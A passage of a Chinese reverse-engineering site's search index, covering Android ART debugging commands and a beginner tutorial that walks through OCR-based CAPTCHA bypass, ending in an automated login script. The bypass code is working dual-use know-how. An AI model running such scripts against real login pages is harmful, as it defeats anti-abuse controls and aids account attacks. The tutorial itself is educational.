深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#调试与诊断"},{"categories":null,"collections":null,"content":"启用 ART 日志 # 启用详细日志 adb shell setprop dalvik.vm.extra-opts \"-verbose:class,jit,gc\" # 启用 JIT 日志 adb shell setprop dalvik.vm.usejit true adb shell setprop dalvik.vm.usejitprofiles true # 查看 GC 日志 adb logcat -s \"art:V\" # 查看类加载日志 adb logcat | grep -E \"(Loading class|Loaded class)\" ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:14:1","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#启用-art-日志"},{"categories":null,"collections":null,"content":"性能分析 # 使用 simpleperf 分析 ART simpleperf record -p \u003cpid\u003e -g --call-graph fp -o perf.data simpleperf report -i perf.data # 生成火焰图 simpleperf report -i perf.data --kallsyms /proc/kallsyms -g --symfs /path/to/symbols ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:14:2","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#性能分析"},{"categories":null,"collections":null,"content":"常见问题诊断 问题 可能原因 解决方法 Hook 不生效 方法已被 AOT 编译 使用 inline hook 或重新编译 脱壳不完整 DEX 动态加载 监控 DexFile 创建 崩溃在 libart.so ART 内部错误 检查 tombstone 和 logcat 性能下降 JIT 频繁编译 检查热点代码 OOM 堆空间不足 调整 dalvik.vm.heapsize ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:14:3","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#常见问题诊断"},{"categories":null,"collections":null,"content":"配方：绕过简单验证码 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:0:0","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#配方绕过简单验证码"},{"categories":null,"collections":null,"content":"配方信息 项目 说明 难度 ⭐⭐ (初级) 预计时间 30-45 分钟 所需工具 Python 3.7+, Tesseract OCR 适用场景 识别简单的图形验证码 前置知识 Python 基础, PIL/Pillow 库 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:1:0","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#配方信息"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 Python 基础语法 必需 了解函数、循环、条件语句等基本概念 HTTP 请求基础 必需 HTTP/HTTPS 协议 PIL/Pillow 图像处理 推荐 Python 图像处理库，用于验证码预处理 Chrome DevTools 推荐 浏览器开发者工具 💡 新手提示: 本配方侧重于简单验证码的识别。对于复杂验证码（滑块、点选等），请参考进阶配方 验证码绕过。 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:2:0","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#-前置知识"},{"categories":null,"collections":null,"content":"你将学到 完成这个配方后，你将能够： ✅ 分析验证码生成和验证流程 ✅ 抓取验证码图片 ✅ 使用 OCR 技术识别文字 ✅ 图像预处理提高识别率 ✅ 自动化验证码识别流程 ✅ 判断何时应该使用人工打码平台 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:3:0","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#你将学到"},{"categories":null,"collections":null,"content":"准备工作 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:4:0","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#准备工作"},{"categories":null,"collections":null,"content":"安装依赖 1. 安装 Python 库 pip install pillow requests pytesseract opencv-python 2. 安装 Tesseract OCR Windows: # 下载安装包 https://github.com/UB-Mannheim/tesseract/wiki # 安装后配置环境变量 set PATH=%PATH%;C:\\Program Files\\Tesseract-OCR macOS: brew install tesseract Linux: sudo apt-get install tesseract-ocr sudo apt-get install libtesseract-dev 3. 验证安装 tesseract --version # 输出: tesseract 5.x.x ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:4:1","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#安装依赖"},{"categories":null,"collections":null,"content":"安装依赖 1. 安装 Python 库 pip install pillow requests pytesseract opencv-python 2. 安装 Tesseract OCR Windows: # 下载安装包 https://github.com/UB-Mannheim/tesseract/wiki # 安装后配置环境变量 set PATH=%PATH%;C:\\Program Files\\Tesseract-OCR macOS: brew install tesseract Linux: sudo apt-get install tesseract-ocr sudo apt-get install libtesseract-dev 3. 验证安装 tesseract --version # 输出: tesseract 5.x.x ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:4:1","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#1-安装-python-库"},{"categories":null,"collections":null,"content":"安装依赖 1. 安装 Python 库 pip install pillow requests pytesseract opencv-python 2. 安装 Tesseract OCR Windows: # 下载安装包 https://github.com/UB-Mannheim/tesseract/wiki # 安装后配置环境变量 set PATH=%PATH%;C:\\Program Files\\Tesseract-OCR macOS: brew install tesseract Linux: sudo apt-get install tesseract-ocr sudo apt-get install libtesseract-dev 3. 验证安装 tesseract --version # 输出: tesseract 5.x.x ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:4:1","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#2-安装-tesseract-ocr"},{"categories":null,"collections":null,"content":"安装依赖 1. 安装 Python 库 pip install pillow requests pytesseract opencv-python 2. 安装 Tesseract OCR Windows: # 下载安装包 https://github.com/UB-Mannheim/tesseract/wiki # 安装后配置环境变量 set PATH=%PATH%;C:\\Program Files\\Tesseract-OCR macOS: brew install tesseract Linux: sudo apt-get install tesseract-ocr sudo apt-get install libtesseract-dev 3. 验证安装 tesseract --version # 输出: tesseract 5.x.x ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:4:1","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#3-验证安装"},{"categories":null,"collections":null,"content":"检查清单 ☐ 已安装 Python 3.7+ ☐ 已安装所有依赖库 ☐ Tesseract OCR 正常工作 ☐ 了解基本的 Python 和 HTTP 请求 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:4:2","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#检查清单"},{"categories":null,"collections":null,"content":"步骤详解 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:0","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#步骤详解"},{"categories":null,"collections":null,"content":"Step 1: 分析验证码流程 1.1 观察验证码 打开一个有验证码的登录页面（或使用下面的示例）： \u003c!DOCTYPE html\u003e \u003chtml\u003e \u003chead\u003e \u003ctitle\u003e验证码登录\u003c/title\u003e \u003c/head\u003e \u003cbody\u003e \u003ch2\u003e登录\u003c/h2\u003e \u003cinput id=\"username\" placeholder=\"用户名\" /\u003e \u003cinput id=\"password\" type=\"password\" placeholder=\"密码\" /\u003e \u003cbr /\u003e\u003cbr /\u003e \u003cimg id=\"captcha\" src=\"/captcha\" onclick=\"this.src='/captcha?'+Date.now()\" /\u003e \u003cbr /\u003e \u003cinput id=\"captcha_code\" placeholder=\"验证码\" /\u003e \u003cbutton onclick=\"login()\"\u003e登录\u003c/button\u003e \u003cscript\u003e function login() { const data = { username: document.getElementById(\"username\").value, password: document.getElementById(\"password\").value, captcha: document.getElementById(\"captcha_code\").value, }; fetch(\"/api/login\", { method: \"POST\", headers: { \"Content-Type\": \"application/json\" }, body: JSON.stringify(data), }) .then((r) =\u003e r.json()) .then((result) =\u003e alert(result.message)); } \u003c/script\u003e \u003c/body\u003e \u003c/html\u003e 1.2 理解验证流程 获取验证码: GET /captcha → 返回图片 用户输入: 人工识别并输入 提交验证: POST /api/login 带上验证码 服务器验证: 比对答案，返回结果 关键点: 验证码图片 URL: /captcha 验证码需要和登录请求一起提交 通常有会话（Cookie）关联验证码和答案 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:1","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#step-1-分析验证码流程"},{"categories":null,"collections":null,"content":"Step 1: 分析验证码流程 1.1 观察验证码 打开一个有验证码的登录页面（或使用下面的示例）： \u003c!DOCTYPE html\u003e 验证码登录 登录 登录 1.2 理解验证流程 获取验证码: GET /captcha → 返回图片 用户输入: 人工识别并输入 提交验证: POST /api/login 带上验证码 服务器验证: 比对答案，返回结果 关键点: 验证码图片 URL: /captcha 验证码需要和登录请求一起提交 通常有会话（Cookie）关联验证码和答案 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:1","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#11-观察验证码"},{"categories":null,"collections":null,"content":"Step 1: 分析验证码流程 1.1 观察验证码 打开一个有验证码的登录页面（或使用下面的示例）： \u003c!DOCTYPE html\u003e 验证码登录 登录 登录 1.2 理解验证流程 获取验证码: GET /captcha → 返回图片 用户输入: 人工识别并输入 提交验证: POST /api/login 带上验证码 服务器验证: 比对答案，返回结果 关键点: 验证码图片 URL: /captcha 验证码需要和登录请求一起提交 通常有会话（Cookie）关联验证码和答案 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:1","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#12-理解验证流程"},{"categories":null,"collections":null,"content":"Step 2: 抓取验证码图片 2.1 编写抓取脚本 创建 captcha_download.py: import requests from PIL import Image from io import BytesIO # 创建会话（保持 Cookie） session = requests.Session() def download_captcha(url, save_path='captcha.png'): \"\"\"下载验证码图片\"\"\" response = session.get(url) if response.status_code == 200: # 保存图片 with open(save_path, 'wb') as f: f.write(response.content) # 显示图片 img = Image.open(BytesIO(response.content)) img.show() print(f\"✅ 验证码已保存到: {save_path}\") return True else: print(f\"❌ 下载失败: {response.status_code}\") return False if __name__ == '__main__': url = 'https://example.com/captcha' download_captcha(url) 2.2 运行测试 python captcha_download.py 输出: 图片会自动打开，并保存为 captcha.png ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:2","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#step-2-抓取验证码图片"},{"categories":null,"collections":null,"content":"Step 2: 抓取验证码图片 2.1 编写抓取脚本 创建 captcha_download.py: import requests from PIL import Image from io import BytesIO # 创建会话（保持 Cookie） session = requests.Session() def download_captcha(url, save_path='captcha.png'): \"\"\"下载验证码图片\"\"\" response = session.get(url) if response.status_code == 200: # 保存图片 with open(save_path, 'wb') as f: f.write(response.content) # 显示图片 img = Image.open(BytesIO(response.content)) img.show() print(f\"✅ 验证码已保存到: {save_path}\") return True else: print(f\"❌ 下载失败: {response.status_code}\") return False if __name__ == '__main__': url = 'https://example.com/captcha' download_captcha(url) 2.2 运行测试 python captcha_download.py 输出: 图片会自动打开，并保存为 captcha.png ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:2","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#21-编写抓取脚本"},{"categories":null,"collections":null,"content":"Step 2: 抓取验证码图片 2.1 编写抓取脚本 创建 captcha_download.py: import requests from PIL import Image from io import BytesIO # 创建会话（保持 Cookie） session = requests.Session() def download_captcha(url, save_path='captcha.png'): \"\"\"下载验证码图片\"\"\" response = session.get(url) if response.status_code == 200: # 保存图片 with open(save_path, 'wb') as f: f.write(response.content) # 显示图片 img = Image.open(BytesIO(response.content)) img.show() print(f\"✅ 验证码已保存到: {save_path}\") return True else: print(f\"❌ 下载失败: {response.status_code}\") return False if __name__ == '__main__': url = 'https://example.com/captcha' download_captcha(url) 2.2 运行测试 python captcha_download.py 输出: 图片会自动打开，并保存为 captcha.png ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:2","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#22-运行测试"},{"categories":null,"collections":null,"content":"Step 3: OCR 识别验证码 3.1 基础识别 创建 captcha_ocr.py: import pytesseract from PIL import Image def recognize_captcha(image_path): \"\"\"识别验证码\"\"\" # 加载图片 img = Image.open(image_path) # OCR 识别 text = pytesseract.image_to_string(img, config='--psm 7 digits') # 清理结果（去除空格和换行） result = text.strip().replace(' ', '').replace('\\n', '') print(f\"识别结果: {result}\") return result if __name__ == '__main__': result = recognize_captcha('captcha.png') print(f\"✅ 验证码是: {result}\") 参数说明: --psm 7: Page Segmentation Mode = 7（单行文本） digits: 只识别数字 3.2 测试识别 python captcha_ocr.py 可能的问题: 识别率很低或完全识别不出来 原因: 验证码有干扰（噪点、线条、倾斜等） ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:3","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#step-3-ocr-识别验证码"},{"categories":null,"collections":null,"content":"Step 3: OCR 识别验证码 3.1 基础识别 创建 captcha_ocr.py: import pytesseract from PIL import Image def recognize_captcha(image_path): \"\"\"识别验证码\"\"\" # 加载图片 img = Image.open(image_path) # OCR 识别 text = pytesseract.image_to_string(img, config='--psm 7 digits') # 清理结果（去除空格和换行） result = text.strip().replace(' ', '').replace('\\n', '') print(f\"识别结果: {result}\") return result if __name__ == '__main__': result = recognize_captcha('captcha.png') print(f\"✅ 验证码是: {result}\") 参数说明: --psm 7: Page Segmentation Mode = 7（单行文本） digits: 只识别数字 3.2 测试识别 python captcha_ocr.py 可能的问题: 识别率很低或完全识别不出来 原因: 验证码有干扰（噪点、线条、倾斜等） ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:3","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#31-基础识别"},{"categories":null,"collections":null,"content":"Step 3: OCR 识别验证码 3.1 基础识别 创建 captcha_ocr.py: import pytesseract from PIL import Image def recognize_captcha(image_path): \"\"\"识别验证码\"\"\" # 加载图片 img = Image.open(image_path) # OCR 识别 text = pytesseract.image_to_string(img, config='--psm 7 digits') # 清理结果（去除空格和换行） result = text.strip().replace(' ', '').replace('\\n', '') print(f\"识别结果: {result}\") return result if __name__ == '__main__': result = recognize_captcha('captcha.png') print(f\"✅ 验证码是: {result}\") 参数说明: --psm 7: Page Segmentation Mode = 7（单行文本） digits: 只识别数字 3.2 测试识别 python captcha_ocr.py 可能的问题: 识别率很低或完全识别不出来 原因: 验证码有干扰（噪点、线条、倾斜等） ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:3","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#32-测试识别"},{"categories":null,"collections":null,"content":"Step 4: 图像预处理 4.1 增强识别率 创建 captcha_preprocess.py: import cv2 import numpy as np from PIL import Image import pytesseract def preprocess_image(image_path): \"\"\"预处理验证码图片\"\"\" # 读取图片 img = cv2.imread(image_path) # 1. 转灰度 gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 2. 二值化（去除噪点） _, binary = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU) # 3. 去噪（形态学操作） kernel = np.ones((2, 2), np.uint8) opening = cv2.morphologyEx(binary, cv2.MORPH_OPEN, kernel, iterations=1) # 4. 保存处理后的图片 processed_path = 'captcha_processed.png' cv2.imwrite(processed_path, opening) print(f\"✅ 预处理完成: {processed_path}\") return processed_path def recognize_with_preprocess(image_path): \"\"\"预处理后识别\"\"\" # 预处理 processed_path = preprocess_image(image_path) # OCR 识别 img = Image.open(processed_path) text = pytesseract.image_to_string(img, config='--psm 7 digits') result = text.strip().replace(' ', '').replace('\\n', '') print(f\"识别结果: {result}\") return result if __name__ == '__main__': result = recognize_with_preprocess('captcha.png') print(f\"✅ 验证码是: {result}\") 4.2 对比效果 # 原始识别 python captcha_ocr.py # 输出: 12O4 (错误) # 预处理后识别 python captcha_preprocess.py # 输出: 1234 (正确) ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:4","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#step-4-图像预处理"},{"categories":null,"collections":null,"content":"Step 4: 图像预处理 4.1 增强识别率 创建 captcha_preprocess.py: import cv2 import numpy as np from PIL import Image import pytesseract def preprocess_image(image_path): \"\"\"预处理验证码图片\"\"\" # 读取图片 img = cv2.imread(image_path) # 1. 转灰度 gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 2. 二值化（去除噪点） _, binary = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU) # 3. 去噪（形态学操作） kernel = np.ones((2, 2), np.uint8) opening = cv2.morphologyEx(binary, cv2.MORPH_OPEN, kernel, iterations=1) # 4. 保存处理后的图片 processed_path = 'captcha_processed.png' cv2.imwrite(processed_path, opening) print(f\"✅ 预处理完成: {processed_path}\") return processed_path def recognize_with_preprocess(image_path): \"\"\"预处理后识别\"\"\" # 预处理 processed_path = preprocess_image(image_path) # OCR 识别 img = Image.open(processed_path) text = pytesseract.image_to_string(img, config='--psm 7 digits') result = text.strip().replace(' ', '').replace('\\n', '') print(f\"识别结果: {result}\") return result if __name__ == '__main__': result = recognize_with_preprocess('captcha.png') print(f\"✅ 验证码是: {result}\") 4.2 对比效果 # 原始识别 python captcha_ocr.py # 输出: 12O4 (错误) # 预处理后识别 python captcha_preprocess.py # 输出: 1234 (正确) ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:4","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#41-增强识别率"},{"categories":null,"collections":null,"content":"Step 4: 图像预处理 4.1 增强识别率 创建 captcha_preprocess.py: import cv2 import numpy as np from PIL import Image import pytesseract def preprocess_image(image_path): \"\"\"预处理验证码图片\"\"\" # 读取图片 img = cv2.imread(image_path) # 1. 转灰度 gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 2. 二值化（去除噪点） _, binary = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU) # 3. 去噪（形态学操作） kernel = np.ones((2, 2), np.uint8) opening = cv2.morphologyEx(binary, cv2.MORPH_OPEN, kernel, iterations=1) # 4. 保存处理后的图片 processed_path = 'captcha_processed.png' cv2.imwrite(processed_path, opening) print(f\"✅ 预处理完成: {processed_path}\") return processed_path def recognize_with_preprocess(image_path): \"\"\"预处理后识别\"\"\" # 预处理 processed_path = preprocess_image(image_path) # OCR 识别 img = Image.open(processed_path) text = pytesseract.image_to_string(img, config='--psm 7 digits') result = text.strip().replace(' ', '').replace('\\n', '') print(f\"识别结果: {result}\") return result if __name__ == '__main__': result = recognize_with_preprocess('captcha.png') print(f\"✅ 验证码是: {result}\") 4.2 对比效果 # 原始识别 python captcha_ocr.py # 输出: 12O4 (错误) # 预处理后识别 python captcha_preprocess.py # 输出: 1234 (正确) ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:4","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#42-对比效果"},{"categories":null,"collections":null,"content":"Step 5: 完整自动化流程 5.1 集成所有步骤 创建 auto_login.py: import requests import pytesseract from PIL import Image from io import BytesIO import cv2 import numpy as np class CaptchaBypass: def __init__(self, base_url): self.base_url = base_url self.session = requests.Session() def download_captcha(self): \"\"\"下载验证码\"\"\" url = f\"{self.base_url}/captcha\" response = self.session.get(url) if response.status_code == 200: return response.content return None def preprocess_image(self, image_bytes): \"\"\"预处理图片\"\"\" # 字节 → numpy array nparr = np.frombuffer(image_bytes, np.uint8) img = cv2.imdecode(nparr, cv2.IMREAD_COLOR) # 灰度化 gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 二值化 _, binary = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU) # 去噪 kernel = np.ones((2, 2), np.uint8) opening = cv2.morphologyEx(binary, cv2.MORPH_OPEN, kernel, iterations=1) # numpy array → PIL Image img_pil = Image.fromarray(opening) return img_pil def recognize_captcha(self, img): \"\"\"OCR 识别\"\"\" text = pytesseract.image_to_string(img, config='--psm 7 digits') result = text.strip().replace(' ', '').replace('\\n', '') return result def login(self, username, password): \"\"\"自动登录\"\"\" # 1. 下载验证码 print(\" 下载验证码...\") captcha_bytes = self.download_captcha() # 2. 预处理 print(\" 预处理图片...\") processed_img = self.preprocess_image(captcha_bytes) # 3. 识别 print(\" 识别验证码...\") captcha_code = self.recognize_captcha(processed_img) print(f\"✅ 识别结果: {captcha_code}\") # 4. 登录 print(\" 发送登录请求...\") response = self.session.post( f\"{self.base_url}/api/login\", json={ 'username': username, 'password': password, 'captcha': captcha_code } ) result = response.json() print(f\" 响应: {result}\") return result if __name__ == '__main__': bypass = CaptchaBypass('https://example.com') result = bypass.login('admin', '123456') if result['code'] == 0: print(\" 登录成功！\") else: print(f\"❌ 登录失败: {result['message']}\") 5.2 运行测试 python auto_login.py 预期输出: 下载验证码... 预处理图片... 识别验证码... ✅ 识别结果: 1234 发送登录请求... 响应: {'code': 0, 'message': '登录成功', 'token': '...'} 登录成功！ ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:5","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#step-5-完整自动化流程"},{"categories":null,"collections":null,"content":"Step 5: 完整自动化流程 5.1 集成所有步骤 创建 auto_login.py: import requests import pytesseract from PIL import Image from io import BytesIO import cv2 import numpy as np class CaptchaBypass: def __init__(self, base_url): self.base_url = base_url self.session = requests.Session() def download_captcha(self): \"\"\"下载验证码\"\"\" url = f\"{self.base_url}/captcha\" response = self.session.get(url) if response.status_code == 200: return response.content return None def preprocess_image(self, image_bytes): \"\"\"预处理图片\"\"\" # 字节 → numpy array nparr = np.frombuffer(image_bytes, np.uint8) img = cv2.imdecode(nparr, cv2.IMREAD_COLOR) # 灰度化 gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 二值化 _, binary = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU) # 去噪 kernel = np.ones((2, 2), np.uint8) opening = cv2.morphologyEx(binary, cv2.MORPH_OPEN, kernel, iterations=1) # numpy array → PIL Image img_pil = Image.fromarray(opening) return img_pil def recognize_captcha(self, img): \"\"\"OCR 识别\"\"\" text = pytesseract.image_to_string(img, config='--psm 7 digits') result = text.strip().replace(' ', '').replace('\\n', '') return result def login(self, username, password): \"\"\"自动登录\"\"\" # 1. 下载验证码 print(\" 下载验证码...\") captcha_bytes = self.download_captcha() # 2. 预处理 print(\" 预处理图片...\") processed_img = self.preprocess_image(captcha_bytes) # 3. 识别 print(\" 识别验证码...\") captcha_code = self.recognize_captcha(processed_img) print(f\"✅ 识别结果: {captcha_code}\") # 4. 登录 print(\" 发送登录请求...\") response = self.session.post( f\"{self.base_url}/api/login\", json={ 'username': username, 'password': password, 'captcha': captcha_code } ) result = response.json() print(f\" 响应: {result}\") return result if __name__ == '__main__': bypass = CaptchaBypass('https://example.com') result = bypass.login('admin', '123456') if result['code'] == 0: print(\" 登录成功！\") else: print(f\"❌ 登录失败: {result['message']}\") 5.2 运行测试 python auto_login.py 预期输出: 下载验证码... 预处理图片... 识别验证码... ✅ 识别结果: 1234 发送登录请求... 响应: {'code': 0, 'message': '登录成功', 'token': '...'} 登录成功！ ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:5","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#51-集成所有步骤"},{"categories":null,"collections":null,"content":"Step 5: 完整自动化流程 5.1 集成所有步骤 创建 auto_login.py: import requests import pytesseract from PIL import Image from io import BytesIO import cv2 import numpy as np class CaptchaBypass: def __init__(self, base_url): self.base_url = base_url self.session = requests.Session() def download_captcha(self): \"\"\"下载验证码\"\"\" url = f\"{self.base_url}/captcha\" response = self.session.get(url) if response.status_code == 200: return response.content return None def preprocess_image(self, image_bytes): \"\"\"预处理图片\"\"\" # 字节 → numpy array nparr = np.frombuffer(image_bytes, np.uint8) img = cv2.imdecode(nparr, cv2.IMREAD_COLOR) # 灰度化 gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 二值化 _, binary = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU) # 去噪 kernel = np.ones((2, 2), np.uint8) opening = cv2.morphologyEx(binary, cv2.MORPH_OPEN, kernel, iterations=1) # numpy array → PIL Image img_pil = Image.fromarray(opening) return img_pil def recognize_captcha(self, img): \"\"\"OCR 识别\"\"\" text = pytesseract.image_to_string(img, config='--psm 7 digits') result = text.strip().replace(' ', '').replace('\\n', '') return result def login(self, username, password): \"\"\"自动登录\"\"\" # 1. 下载验证码 print(\" 下载验证码...\") captcha_bytes = self.download_captcha() # 2. 预处理 print(\" 预处理图片...\") processed_img = self.preprocess_image(captcha_bytes) # 3. 识别 print(\" 识别验证码...\") captcha_code = self.recognize_captcha(processed_img) print(f\"✅ 识别结果: {captcha_code}\") # 4. 登录 print(\" 发送登录请求...\") response = self.session.post( f\"{self.base_url}/api/login\", json={ 'username': username, 'password': password, 'captcha': captcha_code } ) result = response.json() print(f\" 响应: {result}\") return result if __name__ == '__main__': bypass = CaptchaBypass('https://example.com') result = bypass.login('admin', '123456') if result['code'] == 0: print(\" 登录成功！\") else: print(f\"❌ 登录失败: {result['message']}\") 5.2 运行测试 python auto_login.py 预期输出: 下载验证码... 预处理图片... 识别验证码... ✅ 识别结果: 1234 发送登录请求... 响应: {'code': 0, 'message': '登录成功', 'token': '...'} 登录成功！ ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:5:5","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#52-运行测试"},{"categories":null,"collections":null,"content":"✅ 验证清单 完成后，检查以下项目： ☐ 成功下载验证码图片 ☐ Tesseract OCR 能正常识别 ☐ 预处理提高了识别率 ☐ 完整的自动化流程能运行 ☐ 识别准确率达到 60% 以上 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:6:0","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#-验证清单"},{"categories":null,"collections":null,"content":"进阶练习 